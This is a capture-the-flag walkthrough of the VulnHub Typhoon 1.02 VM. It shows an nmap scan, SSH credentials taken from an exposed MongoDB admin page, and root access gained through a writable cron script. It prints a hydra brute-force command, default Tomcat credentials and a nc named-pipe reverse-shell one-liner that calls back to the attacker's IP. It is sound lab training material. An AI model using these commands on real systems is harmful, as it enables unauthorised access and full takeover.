This post documents the complete walkthrough of Typhoon: 1.02, a boot2root VM created by PRISMA CSI, and hosted at VulnHub. If you are uncomfortable with spoilers, please stop reading now.

On this post

Background

Typhoon VM contains several vulnerabilities and configuration errors. Typhoon can be used to test vulnerabilities in network services, configuration errors, vulnerable web applications, password cracking attacks, privilege escalation attacks, post exploitation steps, information gathering and DNS attacks.

Information Gathering

Let’s start with a nmap scan to establish the available services in the host.

# nmap -n -v -Pn -p- -A --reason -oN nmap.txt 192.168.30.129 ... PORT STATE SERVICE REASON VERSION 21/tcp open ftp syn-ack ttl 64 vsftpd 3.0.2 |_ftp-anon: Anonymous FTP login allowed (FTP code 230) | ftp-syst: | STAT: | FTP server status: | Connected to 192.168.30.128 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 1 | vsFTPd 3.0.2 - secure, fast, stable |_End of status 22/tcp open ssh syn-ack ttl 64 OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 02:df:b3:1b:01:dc:5e:fd:f9:96:d7:5b:b7:d6:7b:f9 (DSA) | 2048 de:af:76:27:90:2a:8f:cf:0b:2f:22:f8:42:36:07:dd (RSA) | 256 70:ae:36:6c:42:7d:ed:1b:c0:40:fc:2d:00:8d:87:11 (ECDSA) |_ 256 bb:ce:f2:98:64:f7:8f:ae:f0:dd:3c:23:3b:a6:0f:61 (ED25519) 25/tcp open smtp syn-ack ttl 64 Postfix smtpd |_smtp-commands: typhoon, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, |_ssl-date: TLS randomness does not represent time 53/tcp open domain syn-ack ttl 64 ISC BIND 9.9.5-3 (Ubuntu Linux) | dns-nsid: |_ bind.version: 9.9.5-3-Ubuntu 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.7 ((Ubuntu)) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS | http-robots.txt: 1 disallowed entry |_/mongoadmin/ |_http-server-header: Apache/2.4.7 (Ubuntu) |_http-title: Typhoon Vulnerable VM by PRISMA CSI 110/tcp open pop3 syn-ack ttl 64 Dovecot pop3d |_pop3-capabilities: RESP-CODES CAPA UIDL TOP SASL STLS PIPELINING AUTH-RESP-CODE |_ssl-date: TLS randomness does not represent time 111/tcp open rpcbind syn-ack ttl 64 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100003 2,3,4 2049/tcp nfs | 100003 2,3,4 2049/udp nfs | 100005 1,2,3 57007/tcp mountd | 100005 1,2,3 57007/udp mountd | 100021 1,3,4 43734/udp nlockmgr | 100021 1,3,4 59562/tcp nlockmgr | 100024 1 41493/tcp status | 100024 1 53884/udp status | 100227 2,3 2049/tcp nfs_acl |_ 100227 2,3 2049/udp nfs_acl 139/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 143/tcp open imap syn-ack ttl 64 Dovecot imapd (Ubuntu) |_imap-capabilities: Pre-login SASL-IR more LITERAL+ OK post-login ENABLE listed LOGINDISABLEDA0001 ID have STARTTLS capabilities IMAP4rev1 IDLE LOGIN-REFERRALS |_ssl-date: TLS randomness does not represent time 445/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 4.1.6-Ubuntu (workgroup: WORKGROUP) 631/tcp open ipp syn-ack ttl 64 CUPS 1.7 | http-methods: | Supported Methods: GET HEAD OPTIONS POST PUT |_ Potentially risky methods: PUT | http-robots.txt: 1 disallowed entry |_/ |_http-server-header: CUPS/1.7 IPP/2.1 |_http-title: Home - CUPS 1.7.2 993/tcp open ssl/imaps? syn-ack ttl 64 |_ssl-date: TLS randomness does not represent time 995/tcp open ssl/pop3s? syn-ack ttl 64 |_ssl-date: TLS randomness does not represent time 2049/tcp open nfs_acl syn-ack ttl 64 2-3 (RPC #100227) 3306/tcp open mysql syn-ack ttl 64 MySQL (unauthorized) 5432/tcp open postgresql syn-ack ttl 64 PostgreSQL DB 9.3.3 - 9.3.5 |_ssl-date: TLS randomness does not represent time 6379/tcp open redis syn-ack ttl 64 Redis key-value store 4.0.11 8080/tcp open http syn-ack ttl 64 Apache Tomcat/Coyote JSP engine 1.1 | http-methods: | Supported Methods: GET HEAD POST PUT DELETE OPTIONS |_ Potentially risky methods: PUT DELETE |_http-open-proxy: Proxy might be redirecting requests |_http-server-header: Apache-Coyote/1.1 |_http-title: Apache Tomcat 27017/tcp open mongodb syn-ack ttl 64 MongoDB 3.0.15 3.0.15 | mongodb-databases: | ok = 1.0 | totalSize = 167772160.0 | databases | 1 | sizeOnDisk = 83886080.0 | empty = false | name = local | 0 | sizeOnDisk = 83886080.0 | empty = false |_ name = credentials | mongodb-info: | MongoDB Build info | version = 3.0.15 | bits = 64 | gitVersion = b8ff507269c382bc100fc52f75f48d54cd42ec3b | compilerFlags = -Wnon-virtual-dtor -Woverloaded-virtual -std=c++11 -fno-omit-frame-pointer -fPIC -fno-strict-aliasing -ggdb -pthread -Wall -Wsign-compare -Wno-unknown-pragmas -Winvalid-pch -pipe -Werror -O3 -Wno-unused-local-typedefs -Wno-unused-function -Wno-deprecated-declarations -Wno-unused-but-set-variable -Wno-missing-braces -fno-builtin-memcmp -std=c99 | maxBsonObjectSize = 16777216 | allocator = tcmalloc | OpenSSLVersion = OpenSSL 1.0.1f 6 Jan 2014 | javascriptEngine = V8 | debug = false | ok = 1.0 | sysInfo = Linux ip-10-71-195-23 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 BOOST_LIB_VERSION=1_49 | loaderFlags = | versionArray | 3 = 0 | 0 = 3 | 1 = 0 | 2 = 15 | Server status | version = 3.0.15 | writeBacksQueued = false | uptimeEstimate = 143.0 | extra_info | heap_usage_bytes = 63067208 | note = fields vary by platform | page_faults = 8 | uptimeMillis = 164018 | ok = 1.0 | metrics | document | updated = 0 | returned = 0 | deleted = 0 | inserted = 0 | cursor | timedOut = 0 | open | noTimeout = 0 | pinned = 0 | total = 0 | record | moves = 0 | ttl | deletedDocuments = 0 | passes = 2 | getLastError | wtimeouts = 0 | wtime | num = 0 | totalMillis = 0 | repl | buffer | maxSizeBytes = 268435456 | count = 0 | sizeBytes = 0 | apply | batches | num = 0 | totalMillis = 0 | ops = 0 | preload | indexes | num = 0 | totalMillis = 0 | docs | num = 0 | totalMillis = 0 | network | ops = 0 | getmores | num = 0 | totalMillis = 0 | bytes = 0 | readersCreated = 0 | commands | replSetUpdatePosition | total = 0 | failed = 0 | reIndex | total = 0 | failed = 0 | _recvChunkStart | total = 0 | failed = 0 | grantRolesToUser | total = 0 | failed = 0 | logRotate | total = 0 | failed = 0 | top | total = 0 | failed = 0 | mapReduce | total = 0 | failed = 0 | convertToCapped | total = 0 | failed = 0 | replSetInitiate | total = 0 | failed = 0 | listIndexes | total = 0 | failed = 0 | create | total = 0 | failed = 0 | planCacheClear | total = 0 | failed = 0 | applyOps | total = 0 | failed = 0 | collMod | total = 0 | failed = 0 | cloneCollection | total = 0 | failed = 0 | repairDatabase | total = 0 | failed = 0 | copydbgetnonce | total = 0 | failed = 0 | drop | total = 0 | failed = 0 | profile | total = 0 | failed = 0 | copydb | total = 0 | failed = 0 | touch | total = 0 | failed = 0 | <UNKNOWN> = 0 | revokeRolesFromUser | total = 0 | failed = 0 | replSetStepDown | total = 0 | failed = 0 | eval | total = 0 | failed = 0 | grantRolesToRole | total = 0 | failed = 0 | _transferMods | total = 0 | failed = 0 | planCacheListQueryShapes | total = 0 | failed = 0 | replSetFresh | total = 0 | failed = 0 | hostInfo | total = 0 | failed = 0 | availableQueryOptions | total = 0 | failed = 0 | cleanupOrphaned | total = 0 | failed = 0 | getCmdLineOpts | total = 0 | failed = 0 | copydbsaslstart | total = 0 | failed = 0 | _recvChunkStatus | total = 0 | failed = 0 | compact | total = 0 | failed = 0 | driverOIDTest | total = 0 | failed = 0 | ping | total = 0 | failed = 0 | getShardMap | total = 0 | failed = 0 | replSetGetConfig | total = 0 | failed = 0 | dropAllRolesFromDatabase | total = 0 | failed = 0 | dropRole | total = 0 | failed = 0 | dropUser | total = 0 | failed = 0 | invalidateUserCache | total = 0 | failed = 0 | getPrevError | total = 0 | failed = 0 | replSetReconfig | total = 0 | failed = 0 | connectionStatus | total = 0 | failed = 0 | renameCollection | total = 0 | failed = 0 | getnonce | total = 0 | failed = 0 | shutdown | total = 0 | failed = 0 | updateUser | total = 0 | failed = 0 | shardingState | total = 0 | failed = 0 | appendOplogNote | total = 0 | failed = 0 | replSetMaintenance | total = 0 | failed = 0 | findAndModify | total = 0 | failed = 0 | dbStats | total = 0 | failed = 0 | distinct | total = 0 | failed = 0 | grantPrivilegesToRole | total = 0 | failed = 0 | authenticate | total = 0 | failed = 0 | listCollections | total = 0 | failed = 0 | replSetSyncFrom | total = 0 | failed = 0 | rolesInfo | total = 0 | failed = 0 | features | total = 0 | failed = 0 | count | total = 0 | failed = 0 | insert | total = 0 | failed = 0 | replSetElect | total = 0 | failed = 0 | _isSelf | total = 0 | failed = 0 | serverStatus | total = 2 | failed = 0 | geoSearch | total = 0 | failed = 0 | find | total = 0 | failed = 0 | explain | total = 0 | failed = 0 | collStats | total = 0 | failed = 0 | resync | total = 0 | failed = 0 | moveChunk | total = 0 | failed = 0 | aggregate | total = 0 | failed = 0 | parallelCollectionScan | total = 0 | failed = 0 | setShardVersion | total = 0 | failed = 0 | group | total = 0 | failed = 0 | delete | total = 0 | failed = 0 | _getUserCacheGeneration | total = 0 | failed = 0 | createUser | total = 0 | failed = 0 | writebacklisten | total = 0 | failed = 0 | dropDatabase | total = 0 | failed = 0 | planCacheClearFilters | total = 0 | failed = 0 | whatsmyuri | total = 0 | failed = 0 | diagLogging | total = 0 | failed = 0 | validate | total = 0 | failed = 0 | isMaster | total = 0 | failed = 0 | usersInfo | total = 0 | failed = 0 | updateRole | total = 0 | failed = 0 | cloneCollectionAsCapped | total = 0 | failed = 0 | update | total = 0 | failed = 0 | listCommands | total = 0 | failed = 0 | unsetSharding | total = 0 | failed = 0 | splitVector | total = 0 | failed = 0 | splitChunk | total = 0 | failed = 0 | geoNear | total = 0 | failed = 0 | buildInfo | total = 0 | failed = 0 | _mergeAuthzCollections | total = 0 | failed = 0 | shardConnPoolStats | total = 0 | failed = 0 | connPoolSync | total = 0 | failed = 0 | getShardVersion | total = 0 | failed = 0 | saslStart | total = 0 | failed = 0 | _recvChunkAbort | total = 0 | failed = 0 | saslContinue | total = 0 | failed = 0 | _recvChunkCommit | total = 0 | failed = 0 | revokeRolesFromRole | total = 0 | failed = 0 | dbHash | total = 0 | failed = 0 | revokePrivilegesFromRole | total = 0 | failed = 0 | medianKey | total = 0 | failed = 0 | resetError | total = 0 | failed = 0 | filemd5 | total = 0 | failed = 0 | getLastError | total = 0 | failed = 0 | replSetGetStatus | total = 0 | failed = 0 | cursorInfo | total = 0 | failed = 0 | forceerror | total = 0 | failed = 0 | mergeChunks | total = 0 | failed = 0 | handshake | total = 0 | failed = 0 | setParameter | total = 0 | failed = 0 | planCacheListPlans | total = 0 | failed = 0 | listDatabases | total = 1 | failed = 0 | _migrateClone | total = 0 | failed = 0 | logout | total = 0 | failed = 0 | getLog | total = 0 | failed = 0 | replSetFreeze | total = 0 | failed = 0 | clone | total = 0 | failed = 0 | repairCursor | total = 0 | failed = 0 | planCacheSetFilter | total = 0 | failed = 0 | replSetGetRBID | total = 0 | failed = 0 | authSchemaUpgrade | total = 0 | failed = 0 | dataSize | total = 0 | failed = 0 | planCacheListFilters | total = 0 | failed = 0 | dropAllUsersFromDatabase | total = 0 | failed = 0 | dropIndexes | total = 0 | failed = 0 | fsync | total = 0 | failed = 0 | mapreduce | shardedfinish | total = 0 | failed = 0 | replSetHeartbeat | total = 0 | failed = 0 | getParameter | total = 0 | failed = 0 | createRole | total = 0 | failed = 0 | checkShardingIndex | total = 0 | failed = 0 | createIndexes | total = 0 | failed = 0 | connPoolStats | total = 0 | failed = 0 | currentOpCtx | total = 0 | failed = 0 | operation | idhack = 0 | fastmod = 0 | scanAndOrder = 0 | writeConflicts = 0 | storage | freelist | search | requests = 0 | bucketExhausted = 0 | scanned = 0 | queryExecutor | scannedObjects = 0 | scanned = 0 | asserts | rollovers = 0 | user = 0 | regular = 0 | warning = 0 | msg = 0 | localTime = 1543301820423 | mem | supported = true | bits = 64 | mappedWithJournal = 320 | mapped = 160 | virtual = 514 | resident = 69 | storageEngine | name = mmapv1 | uptime = 164.0 | opcountersRepl | command = 0 | delete = 0 | getmore = 0 | insert = 0 | update = 0 | query = 0 | process = mongod | opcounters | command = 3 | delete = 0 | getmore = 0 | insert = 0 | update = 0 | query = 1 | network | numRequests = 2 | bytesIn = 132 | bytesOut = 10095 | cursors | clientCursors_size = 0 | pinned = 0 | totalNoTimeout = 0 | totalOpen = 0 | timedOut = 0 | note = deprecated, use server status metrics | globalLock | currentQueue | total = 0 | writers = 0 | readers = 0 | totalTime = 164016000 | activeClients | total = 9 | writers = 0 | readers = 0 | pid = 1259 | host = typhoon.local | backgroundFlushing | flushes = 2 | average_ms = 0.0 | last_ms = 0 | last_finished = 1543301776914 | total_ms = 0 | locks | Global | acquireCount | w = 9 | W = 5 | r = 612 | MMAPV1Journal | acquireCount | w = 22 | R = 1521 | r = 297 | Database | acquireCount | W = 9 | R = 2 | r = 297 | Collection | acquireCount | R = 305 | dur | journaledMB = 0.0 | commits = 30 | earlyCommits = 0 | timeMs | dt = 3093 | remapPrivateView = 0 | writeToDataFiles = 0 | writeToJournal = 0 | commits = 0 | commitsInWriteLock = 0 | prepLogBuffer = 0 | compression = 0.0 | writeToDataFilesMB = 0.0 | commitsInWriteLock = 0 | connections | totalCreated = 3 | available = 51199 |_ current = 1 34796/tcp open mountd syn-ack ttl 64 1-3 (RPC #100005) 41493/tcp open status syn-ack ttl 64 1 (RPC #100024) 46291/tcp open mountd syn-ack ttl 64 1-3 (RPC #100005) 57007/tcp open mountd syn-ack ttl 64 1-3 (RPC #100005) 59562/tcp open nlockmgr syn-ack ttl 64 1-4 (RPC #100021)

Whoa. They are not lying when they say Typhoon is a vulnerable VM. Will you look at the MongoDB enumeration??!!

Low-privilege Shell

As the saying “all roads lead to Rome” goes, there are a couple of ways to get a low-privilege shell. I’ll take the path of least resistance.

From the nmap scan above, you can see that there’s one disallowed entry in robots.txt — /mongoadmin .

Moving on to that directory, you’ll see a web interface for administering the exposed Mongo instance at 27017/tcp .

It’s a no-brainer actually. A few clicks later, you’ll see the credentials of a SSH account.

With that, we can proceed to get our low-privilege shell.

Boom. I’m in.

If you prefer the longer route, you can also try out the following steps:

Brute-force SSH with hydra + rockyou : hydra -l admin -P /usr/share/wordlists/rockyou.txt -t4 ssh://192.168.30.129 The password is metallica

+ : Tomcat’s manager webapp at 8080/tcp : Location is /manager/html Username: tomcat , Password: tomcat Deploy a malicious webapp described here

: Struts2 Showcase: There’s a remote code execution vulnerability with Struts2 Showcase as per CVE-2017-9791 The vulnerability is with the Struts1 integration at /integration/editGangster I wrote about how to exploit it here



Privilege Escalation

Once you have obtained a low-privilege shell, the next step is to escalate privilege to root . Again, I’ll take the path of least resistance.

During your enumeration, you’ll notice a strange-looking script at /tab/script.sh .

If I had to guess, I would say the script is ran as a cron job by root . That’s our ticket to a root shell. We can probably use nc to send a reverse shell back to us. However, the nc on the machine doesn’t have -e option.

No problem. We can still do something like this.

On one hand, open a nc listener at your attacking machine. On the other hand, append the following command to /tab/script.sh :

echo 'rm -rf /tmp/p; mknod /tmp/p p; /bin/bash 0</tmp/p | nc 192.168.30.128 1234 >/tmp/p' >> /tab/script.sh

You’ll see the root shell in a bit at the nc listener like so.

Again, there are other ways to get root :

admin can sudo as root with sudo -s

can sudo as with Linux Kernel 3.13.0 < 3.19 - ‘overlayfs’ Local Privilege Escalation as per EDB-ID 37292

Root Flag

The last step is to get the root flag as proof that you have root ed the machine.

Afterthought

I’m sure this is not exhaustive. Kudos to PRISMA CSI for creating this VM. No better way to learn than hands-on practice.